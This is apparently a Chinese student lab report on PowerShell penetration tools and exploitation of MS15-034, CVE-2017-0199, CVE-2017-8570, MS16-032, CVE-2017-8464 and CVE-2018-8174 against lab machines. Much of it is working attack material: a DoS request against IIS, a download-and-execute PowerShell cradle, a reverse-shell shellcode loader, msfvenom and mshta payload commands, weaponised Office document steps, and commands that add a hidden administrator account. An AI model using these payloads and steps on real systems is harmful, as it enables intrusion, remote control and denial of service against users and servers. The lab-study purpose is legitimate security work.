目录
- 实验内容
- 实验步骤
- 实验中遇到的问题
- 实验总结与体会
实验内容
- PoweShell简介
- PowerShell入门学习
- PowerShell渗透工具介绍
- 相关渗透实践分析
- ms15-034之Powershell版攻击
- CVE-2017-0199结合PowerShell
- 沙虫”二代漏洞(CVE-2017-8570)分析
- EMPIRE内置ms16-032漏洞
- "震网三代" CVE-2017-8464
- “双杀”0day漏洞 CVE-2018-8174
- PowerShell利用现状
返回目录
实验步骤
一、PowerShell简介
1.PowerShell是什么
- PowerShell,从名字可以知道,它首先是一个shell,shell的意思就是和Linux的bash等一样、和原来的cmd一样即在里边敲命令(可执行文件)使用;而Power就意味它是一个功能强大的shell。
- 其功能强大体现在以下几方面:
- Shell的简单性,简单的命令,即时与系统交互;另外微软切实的推行PowerShell,包括Office等更多自家软件,底层都是调用PowerShell来实现。
- 兼容性cmd。PowerShell包含原先cmd的所有命令,原先命令使用形式不变,在是在其基础上添加命令。
- 对标Linux。PowerShell使用了Linux Shell的思想,也就是所有的系统操作、配置,都可以在shell中敲写命令实现。
2.PowerShell作用
(1)与文件系统交互、运行应用程序
(2)创建脚本
- PowerShell支持将命令列表做成脚本文件来执行。在 Windows PowerShell 中,脚本文件的文件扩展名为
.ps1
。若要运行脚本,在命令提示符下键入该脚本的名称,文件扩展名是可选的。
(3)powershell 背后依靠的是一套完整的 .NET 编程体系,能够利用.Net类型和COM对象,这让PowerShell能够最大限度的利用现有资源,并且很容易把.Net和COM程序员招徕到自己麾下
简单类型:
[int]$a = 10 [String]$b = 10
.Net类型
$Message = new-object Net.Mail.MailMessage("[email protected]","[email protected]", "Subject",
"Here is some email")COM对象
$myWord = new-object -comobject Word.Application
创建了.Net或者COM的对象以后,就可以利用这些对象的属性和方法,来完成更加复杂的操作。
(4)任何函数与对象都能够通过help *命令
来查看其帮助文档(准确来说应该是Get-Help
函数,这是更加“面向对象”化的命名方式,而help
是它的别名),如果看不明白,加上-examples
参数会有应用实例,如果仍看不明白,加上-online
参数会打开完整的在线帮助文档。
(5)PowerShell中兼容部分的cmd命令和unix/linux shell的命令
3、PowerShell特点
- PowerShell脚本可以运行在内存中,不需要写入磁盘。
- 可以从另一个系统中下载PowerShell脚却本并执行。
- 目前很多工具都是基于PowerShell开发的。很多安全软件并不能检测到PowerShell的活动
cmd.exe
通常会被阻止运行,但是PowerShell
不会。- 可以用来管理活动目录
- 这些特点使得PowerShell在获得和保持对系统的访问权限时,成为攻击者首选的攻击手段,利用PowerShell诸多特点,攻击者可以持续攻击而不被轻易发现。
二、PowerShell入门学习
- 学习博客在这:Final——PowerShell入门学习
三、渗透工具介绍
1、常用的PowerShell攻击工具
- PowerSploit
- PowerShell后期漏洞利用框架,常用于信息探测,特权提升,凭证窃取,持久化等操作。
- Nishang
- 基于PowerShell的渗透测试专用工具,集成了框架,脚本和各种payload,包含下载和执行,键盘记录,DNS,延时命令等脚本。
- Empire
- 基于PowerShell的远程控制木马,可以凭证数据库中导出和跟踪凭证信息,常用与提供前期漏洞利用的集成模块,信息探测,凭据窃取,持久化控制。
- PowerCat
- PowerShell版的NetCat,传说中的”瑞士军刀”,能通过TCP和UDP在网络中读取数据,通过与其他工具的结合和重定向,可以在脚本中以多种方式使用。
2、Empire
- Final——PowerShell Empire
3、Nishang
- Final——Nishang
四、相关渗透实践
1、ms15-034之Powershell版攻击
- ms15-034漏洞出在http.sys文件中,这个文件是IIS的一个重要组件,功能和特性对windows来说意义重大。利用HTTP.sys的安全漏洞,攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃。
- ms15-034在metasploit有相应的攻击模块,
auxiliary/dos/http/ms15_034_ulonglongadd
模块可直接造成服务器蓝屏,auxiliary/scanner/http/ms15_034_http_sys_memory_dump
检测漏洞,发现仅针对:windoiws 8.1, 2012, or 2012R2有效。
- 在PowerShell下,该代码实现了对系统检测是否有该漏洞以及dos攻击。下面我们来实践:
测试装了windows2008的服务器是否有该漏洞
Import-Module .\MS15034.psm1 Test-MS15034 -Computer 192.168.80.132 -Windows2008
结果为存在该漏洞- 检测部分的代码为
Test-MS15034
部分
try { $Result = Invoke-MS15034Helper -Computer $Computer -Port $Port -Path $SrvPath -LowerRange 0 -UpperRange 18446744073709551615 -UseSSL:$UseSSL } catch { Throw ('An error occured during the connection to http://{0}:{1}{2}' -f $Computer, $Port, $SrvPath) } Write-Verbose -Message $Result if (-not $Result.contains('Server: Microsoft')) { Write-Error -Message 'The server does not appear to be running HTTP.SYS' } elseif ($Result.contains('HTTP/1.1 416 Requested Range Not Satisfiable')) { 'This server is vulnerable to MS 15-034' } elseif ($Result.contains('HTTP Error 400. The request has an invalid header name.')) { 'The server is not vulnerable to MS 15-034' } elseif ($Result.contains('HTTP/1.1 404 Not Found')) { Write-Error -Message 'The provided path has not been found, check you have selected the right operating system, or specified a valid file in -ServerPath' } else { 'Some other error has occured ?!?!?' }
- 检测部分的代码为
执行拒绝服务攻击
Import-Module .\MS15034.psm1 Invoke-MS15034DOS -Computer 192.168.80.132 -Windows2008
瞬间蓝屏重启!!
该部分的代码在Invoke-MS15034DOS
,执行时先测试被攻击的服务器是否是有漏洞的,有漏洞它才会执行攻击。这里仅执行dos攻击,dos攻击的http header
需要被指定为Range: bytes=0-18446744073709551615
。$null = Invoke-MS15034Helper -Computer $Computer -Port $Port -Path $SrvPath -LowerRange 18 -UpperRange 18446744073709551615 -UseSSL:$UseSSL
- 查找资料,该漏洞同HTTP头中的
Range
域有直接的关系,Range
请求是HTTP协议中HTTP客户端用于只获取服务器上文件的某一部分数据的请求域。- IIS进程w3wp.exe接收到HTTP请求后,将数据缓存到内核中,并整合HTTP回应头,最后由http.sys组织数据包经由网络内核组件发送出去。请求中包括Ranges对象的指定范围,而缓存中则包含了http文件和大小信息等。
- 在代码中
$HTTPRequest = "GET {0} HTTP/1.1
rnHost: stuff
rnRange: bytes={1}-{2}
rn
rn" -f $Path, $LowerRange, $UpperRange
定义HTTP的range请求- 使用
$TCPStream.Write($EncodedRequest,0,$EncodedRequest.Length)
来发送出经过编码后的恶意HTTP请求 - IIS收到请求后会返回信息,接收部分
# Decode the response and then return it $HTTPResponse = [System.Text.Encoding]::ASCII.GetString($ReceiveBuffer,0,$TCPClientRBSize)
2、CVE-2017-0199结合PowerShell
- CVE-2017-0199是2017年4月11日发布的一个Microsoft Office RTF漏洞,当用户打开包含嵌入式漏洞的文档时,允许使用者下载并执行恶意的Visual Basic脚本。office使用用户非常多,因此该漏洞可用作许多社工攻击。
- 受影响系统包括:Microsoft office 2016;Microsoft office 2013;Microsoft office 2010;Microsoft office 2007;
- 在可访问的服务器中建一个RTF空文件:
echo ''>rtf.rtf
- 新建一个word文档,打开文档找到
插入
-对象
-由文件创建
,加上http://xxxxxx/rtf.rtf
,并勾选链接到文件
,保存。(这里的地址是一个可访问的服务器的地址关于如何搭建服务器请看这)
- 将
docx
后缀换为zip
在打开,找到word
-_rels
-document.xml.rels
,用记事本打开找到下面的代码
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://x.x.x.x/xx.rtf"
修改为以下代码后保存
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://x.x.x.x/hta.hta"
现在对一段反弹meterpreter的powershell语句进行base64编码(为了避免一些特殊字符带来的错误)
powershell.exe -ep bypass IEX (New-Object Net.WebClient).DownloadString('http://192.168.80.129//rev.ps1'),rev
在服务器中添加一个
hta.hta
文件,放到上面链接能访问到的位置,并将上面编码后的代码插入到下面:在可访问的服务器下,添加一个powershell脚本
rev.ps1
注意其中的function rev { $c = @" [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z); "@ try{ $s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp) $s.Connect('127.0.0.1', 5330) | out-null; $p = [Array]::CreateInstance("byte", 4); $x = $s.Receive($p) | out-null; $z = 0 $y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); $y[0] = 0xBF while ($z -lt [BitConverter]::ToInt32($p,0)) { $z += $s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None) } for ($i=1; $i -le 4; $i++) {$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]} $t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40) [System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length) $t::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400 } catch {} }
$s.Connect('x.x.x.x', 2333)
是msf监听的地址和端口!- 现在msf下开启监听
3、“沙虫”二代漏洞(CVE-2017-8570)分析
- 在之前的实验中我有做过该漏洞实践(链接),该漏洞为Microsoft Office的一个远程代码执行漏洞。其成因是Microsoft PowerPoint执行时会初始化“Script”Moniker对象,而在PowerPoint播放动画期间会激活该对象,从而执行sct脚本(Windows Script Component)文件。
- 我们查看样本内部的
ppt\slides\_rels\slide1.xml.rels
文件,会发现其中Id为rId3
的是一个OLE对象
,指向一个外部链接
- 该链接指向一个远程服务器上的sct脚本文件,其内容如下,主要功能是通过powershell下载我们用msfvenom生成的恶意代码。
- 我们查看监听过程就可以看到请求
靶机运行ppsx,就激活对象,kali方得到下载请求,下载后发送恶意代码
with open(payloadlocation) as fin: data +=fin.read() onn.send(data) conn.close() sys.exit(1)
查看
ppt\slides\slide1.xml
文件,其中rId3
被定义为一个link
对象,并设置了verb
行为。verb
的功能是在PowerPoint播放动画时激活这个对象,从而执行远程下载的脚本文件,所以我们会看到在执行时闪退一个cmd框,其就在运行恶意powershell脚本。
4、EMPIRE内置ms16-032漏洞
- 该漏洞是Windows特权提升漏洞,如果 Windows 辅助登录服务未能正确管理内存中的请求句柄,Microsoft Windows 中会存在一个特权提升漏洞。 成功利用此漏洞的攻击者能够以管理员身份运行任意代码。 攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。
- 启动Empire:
./empire
- 我们按照之前的Final——PowerShell Empire拿到上线主机
- 与靶机交互:
interact tcc
内置模块ms16-032提权
usemodule privesc/ms16-032 set Listener xiaobai execute
- 查看返回结果
emm显示我的主机没有未捕获有效的线程句柄,看来是有相关补丁,我们换一个系统 - 而除了上面方式,该漏洞有对应脚本(链接),现在换种方式对win7虚拟机进行ms16-032漏洞提权。
查阅资料才知道ms16-032漏洞提权需要两个条件
目标系统需要有2个以上的CPU核心 PowerShell v2.0及更高版本必须正在运行
- 所以对虚拟机的处理器进行修改修改为2个处理器
- 重启win7后重新提权:
Invoke-MS16-032
,成功!得到一个最高权限!
- 下面就可以进行一些操作了
- 添加新用户:
net user 1 1 /add
- 给新用户赋予最高权限:
net localgroup administrators 1 /add
- 添加新用户:
- 我们试着远程登陆另一台计算机(目标机要开启远程登陆功能,参考远程桌面连接
5、"震网三代" CVE-2017-8464
- 该漏洞原理:Windows系统通过解析 .LNK 后缀文件时,是使用二进制来解析的,而当恶意的二进制代码被系统识别执行的时候就可以实现远程代码执行,由于是在explorer.exe进程中运行的,所以load进内存的时候与当前用户具有相同的权限。于是攻击者利用这一解析过程的漏洞,将包含恶意二进制的代码被附带进可移动驱动器(或远程共享过程中),受害者使用powershell解析 .LNK 文件后就会被黑客所控制。
- 影响版本:Windows 7、Windows 8.1、Windows RT 8.1、Windows 10、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012、Windows Server 2012 R2、Windows Server 2016
- 使用Empire工具对Win7系统进行攻击
- 将这此
.bat
文件在Windows中运行,回到监听端口就可以看到目标主机已经上线
- 接下来我们进入监听的win7,进行进一步的提权操作
- 另外查阅资料找到一位作者写的用脚本复现
LNKOutPath
:本地保存LNK文件的全路径。TargetCPLPath
:本地/远程目标cpl的全路径。- 使用:
Export-LNKPwn -LNKOutPath C:\Users\ASUS\Desktop\aaa\bbb\Path.lnk -TargetCPLPath C:\Users\ASUS\Desktop\Path.cpl -Type SpecialFolderDataBlock
6、“双杀”0day漏洞 CVE-2018-8174
- CVE-2018-8174是Windows VBScriptEngine代码执行漏洞,由于 VBScript 脚本执行引擎(vbscript.dll)存在该漏洞,攻击者可以将恶意的VBScript嵌入到Office文件或者网站中,一旦用户受诱导或不慎点击恶意链接或文档,攻击者便可远程获取当前用户系统权限,进而完全控制用户电脑。
构造HTA文件,当访问hta文件就会触发powershell下载文件至临时目录执行(利用 mshta 从远程服务器下载文件执行)。
- kali下把
test.hta
文件放在/var/www/html
目录下 - 使用msfvenom生成
js Shellcode
:msfvenom -p windows/exec cmd='mshta http://10.0.0.230/test.hta' -f js_le exitfunc=thread -a x86
- 下载 metasploit 模块到本地:
git clone https://github.com/0x09AL/CVE-2018-8174-msf.git
- 将
CVE-2018-8174.rb
复制到fileformat
目录:cp CVE-2018-8174.rb /usr/share/metasploit-framework/modules/exploits/windows/fileformat/
- 将
CVE-2018-8174.rtf
复制到exploits
目录:cp CVE-2018-8174.rtf /usr/share/metasploit-framework/data/exploits/
- 将
- 下载
CVE-2018-8174 python
脚本:git clone https://github.com/Yt1g3r/CVE-2018-8174_EXP.git
- 把生成的Shellcode字符替换至
CVE-2018-8174.py
该行代码处
- 生成Word文档:
python CVE-2018-8174.py -u http://10.0.0.230/exploit.html -o exp.rtf
- 将生成的网页和文档放入
/var/www/html
目录下 - 开启apache服务:
service apache2 start
- 因为我的rtf文件打开有问题,我就直接用靶机浏览器访问
http://10.0.0.230/exploit.html
下载执行test.hta
文件,并提前开好开启wireshark抓包。(这是之前用另一台kali10.0.0.216
时抓的包)
紧接着,我们就看到执行了test.hta
文件,
现在我们利用之前的实践学习修改
test.hta
,获取反弹shell,内容如下:XXX-exp Caculate.exe
Loading...
[]100%